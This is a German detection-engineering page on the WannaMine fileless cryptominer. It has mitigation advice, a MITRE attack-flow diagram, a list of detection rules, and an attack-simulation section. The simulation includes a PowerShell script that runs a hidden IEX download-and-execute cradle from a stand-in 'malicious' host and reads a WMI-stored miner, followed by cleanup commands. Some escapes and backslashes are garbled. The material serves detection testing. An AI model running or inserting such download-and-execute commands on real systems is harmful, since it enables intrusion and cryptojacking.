WannaMine-Kryptominer-Analyse: Dateilose Ausführung und Persistenz
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
WannaMine ist ein dateiloser Kryptomining-Wurm, der auf Living-off-the-Land-Tools setzt – hauptsächlich PowerShell und Windows Management Instrumentation (WMI) – um speicherresident zu bleiben und Monero zu minen.
Untersuchung
WannaMine wird entweder durch Phishing-E-Mails mit bösartigen Batch-Dateien verbreitet oder durch Ausnutzung der EternalBlue-SMB-Sicherheitslücke. Für Persistenz registriert es WMI-Ereignisabonnements und speichert codiertes PowerShell in benutzerdefinierten WMI-Klassen.
WannaMine-Minderung
Verhindern Sie die Ausnutzung von EternalBlue durch das Patchen von SMB (MS17-010). Beschränken Sie die PowerShell-Ausführung und -Überwachung, beobachten Sie ungewöhnliche WMI-Klassenerstellungen und Ereignis-Consumer und erzwingen Sie das Prinzip des geringsten Privilegs, um die missbräuchliche Verwendung von Anmeldeinformationen zu begrenzen.
Antwort
Alarmieren Sie bei abnormalem PowerShell/WMI-Verhalten, isolieren Sie betroffene Hosts, entfernen Sie bösartige WMI-Ereignis-Consumer/-Abonnements, rotieren Sie potenziell exponierte Anmeldeinformationen und führen Sie Speicher-Forensik durch, um den im Speicher befindlichen Miner zu bestätigen.
„graph TB %% Klassendefinitionen Abschnitt classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Knoten – Aktionen action_phishing[„<b>Aktion</b> – <b>T1566.001 Phishing</b>: Spearphishing-Anhang, der eine bösartige Batch-Datei liefert“] class action_phishing action action_user_exec[„<b>Aktion</b> – <b>T1204 Benutzer-Ausführung</b>: Opfer führt die Batch-Datei aus, die PowerShell startet“] class action_user_exec action action_powershell_exec[„<b>Aktion</b> – <b>T1059.001 PowerShell</b>: Verstecktes PowerShell-Skript bestimmt die OS-Architektur und lädt Payload herunter“] class action_powershell_exec action action_wmi_persistence[„<b>Aktion</b> – <b>T1546.003 WMI-Ereignis-Abonnement</b>: Malware erstellt benutzerdefinierte WMI-Klassen und registriert Ereigniskonsumenten“] class action_wmi_persistence action action_pass_the_hash[„<b>Aktion</b> – <b>T1550.002 Pass the Hash</b>: Extrahierte NTLM-Hashes werden wiederverwendet“] class action_pass_the_hash action action_wmiexec[„<b>Aktion</b> – <b>Seitliche Bewegung über WMIExec</b>: Hashes verwendet, um PowerShell auf entfernten Hosts auszuführen“] class action_wmiexec action action_eternalblue[„<b>Aktion</b> – <b>T1210 Ausnutzung von Remote-Diensten</b>: EternalBlue (MS17u2011010) wird verwendet, wenn Hash-Wiederverwendung fehlschlägt“] class action_eternalblue action action_defense_evasion[„<b>Aktion</b> – <b>T1550 Alternative Authentifizierungsmaterialien verwenden</b>: Die Wiederverwendung gestohlener Hashes vermeidet Anmeldeaufforderungen“] class action_defense_evasion action action_compute_hijacking[„<b>Aktion</b> – <b>T1496.001 Rechenkapazitätsentführung</b>: System konfiguriert, um Monero-Kryptowährung zu schürfen“] class action_compute_hijacking action action_power_settings[„<b>Aktion</b> – <b>T1653 Energieeinstellungen</b>: Energiemanagement geändert, um Schlaf zu verhindern und das Mining aktiv zu halten“] class action_power_settings action %% Knoten – Werkzeuge und Malware file_batch[„<b>Werkzeug</b> – <b>Name</b>: Bösartige Batch-Datei<br/><b>Beschreibung</b>: Container für den anfänglichen PowerShell-Befehl“] class file_batch tool tool_powershell[„<b>Werkzeug</b> – <b>Name</b>: PowerShell<br/><b>Beschreibung</b>: Skript-Engine für Download und Ausführung“] class tool_powershell tool tool_wmi[„<b>Werkzeug</b> – <b>Name</b>: Windows Management Instrumentation<br/><b>Beschreibung</b>: Registriert Ereignisabonnements für Persistenz“] class tool_wmi tool tool_mimikatz[„<b>Werkzeug</b> – <b>Name</b>: Mimikatz-Modul<br/><b>Beschreibung</b>: Extrahiert NTLM-Hashes aus dem Speicher“] class tool_mimikatz tool tool_wmiexec[„<b>Werkzeug</b> – <b>Name</b>: WMIExec<br/><b>Beschreibung</b>: Führt Befehle auf entfernten Maschinen über WMI aus“] class tool_wmiexec tool exploit_eternalblue[„<b>Werkzeug</b> – <b>Name</b>: EternalBlue-Exploit<br/><b>Beschreibung</b>: Nutzt SMB-Schwachstelle MS17u2011010 aus“] class exploit_eternalblue tool malware_payload[„<b>Malware</b> – <b>Name</b>: Benutzerdefiniertes Payload<br/><b>Beschreibung</b>: Heruntergeladene Komponente, die Mining durchführt“] class malware_payload malware process_download[„<b>Prozess</b> – <b>Name</b>: Remote-Payload-Download<br/><b>Beschreibung</b>: Ruft das geeignete Binärfile für die OS-Architektur ab“] class process_download process process_mining[„<b>Prozess</b> – <b>Name</b>: Monero-Miner<br/><b>Beschreibung</b>: Nutzt CPU-Zyklen für Kryptowährungs-Mining“] class process_mining process %% Verbindungen – Angriffsablauf action_phishing u002du002d>|liefert| file_batch file_batch u002du002d>|ausgeführt_von_Benutzer| action_user_exec action_user_exec u002du002d>|auslöst| action_powershell_exec action_powershell_exec u002du002d>|verwendet| tool_powershell action_powershell_exec u002du002d>|lädt_herunter| process_download process_download u002du002d>|speichert_als| malware_payload malware_payload u002du002d>|erstellt| action_wmi_persistence action_wmi_persistence u002du002d>|nutzt| tool_wmi action_wmi_persistence u002du002d>|extrahiert_Hashes_mit| tool_mimikatz tool_mimikatz u002du002d>|ermöglicht| action_pass_the_hash action_pass_the_hash u002du002d>|ermöglicht| action_wmiexec action_pass_the_hash u002du002d>|fällt_zurück_auf| action_eternalblue action_wmiexec u002du002d>|führt_seitliche_Bewegung_aus| process_mining action_eternalblue u002du002d>|nutzt_aus| exploit_eternalblue exploit_eternalblue u002du002d>|verschafft_Zugang_für| process_mining process_mining u002du002d>|führt_zu| action_defense_evasion action_defense_evasion u002du002d>|ermöglicht| action_compute_hijacking action_compute_hijacking u002du002d>|ändert| action_power_settings „
Angriffsfluss
Erkennungen
Download oder Upload über PowerShell (über cmdline)
Ansehen
Verdächtige Modifikation der Energieeinstellungen (über cmdline)
Ansehen
LOLBAS wmic (über cmdline)
Ansehen
Verdächtiger Dateidownload mit direkter IP (über Proxy)
Ansehen
IOCs (HashMd5) zur Erkennung: Wie WannaMine funktioniert: Eine dateilose Kryptominer-Malware
Ansehen
IOCs (E-Mails) zur Erkennung: Wie WannaMine funktioniert: Eine dateilose Kryptominer-Malware
Ansehen
IOCs (SourceIP) zur Erkennung: Wie WannaMine funktioniert: Eine dateilose Kryptominer-Malware
Ansehen
IOCs (DestinationIP) zur Erkennung: Wie WannaMine funktioniert: Eine dateilose Kryptominer-Malware
Ansehen
Erkennung von WannaMine Fileless Cryptojacking [Prozesserstellung unter Windows]
Ansehen
Erkennen Sie WannaMine Fileless Cryptominer PowerShell-Ausführung [Windows PowerShell]
Ansehen
Simulationsausführung
Voraussetzung: Die Telemetrie- und Baseline-Pre-Flight-Überprüfung muss bestanden sein.
Grund: Dieser Abschnitt beschreibt die genaue Ausführung der Vorgehensweise des Gegners (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und die Erzählung müssen die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Ein Angreifer erlangt Remote-Code-Ausführung auf einem Windows-Endpunkt. Um Benutzerinteraktionen zu vermeiden, starten sie PowerShell in einem versteckten Fenster (-W Hidden) ohne Profil (-NoP) und nicht-interaktiv (-NonI). Der Befehl verwendetIEXum eine PowerShell-Nutzlast von einem bösartigen HTTP-Server herunterzuladen (http://malicious:8000/in6.ps1). Das heruntergeladene Skript registriert eine WMI-Klasse namensOffice_Updaterunterrootdefaultdie eine Eigenschaft speichertmondie einen Base64-codierten Monero-Miner enthält. Der Angreifer liest dann die Eigenschaft über[WmiClass]und führt sie aus, was effektiv den Kryptominer startet, ohne einen neuen Prozess zu erstellen. Diese Sequenz entspricht den drei Kommandozeilen-Substrings der Erkennungsregel. -
Regressionstestskript:
#------------------------------------------------- # Simulation der Ausführung eines dateilosen WannaMine-Kryptominers #------------------------------------------------- $maliciousServer = "http://malicious:8000" $payloadPath = "$maliciousServer/in6.ps1" # 1. Versteckte, nicht-interaktive PowerShell-Ausführung $cmd = "-NoP -NonI -W Hidden " + "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " + "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value" # Befehl ausführen (dies ist, was der Angreifer ausführen würde) Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow # Hinweis: Das Remote-Skript (in6.ps1) wird angenommen, dass es die WMI-Klasse erstellt # mit einer "mon"-Eigenschaft, die den Mining-Code enthält. -
Bereinigungsbefehle:
# Entfernen der bösartigen WMI-Klasse Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue # Beenden von verbleibenden PowerShell-Miner-Prozessen (falls welche gestartet wurden) Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.CommandLine -match "mon"} | Stop-Process -Force # Optional: Löschen von während des Tests erstellten PowerShell-Transkript-/Protokolldateien Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue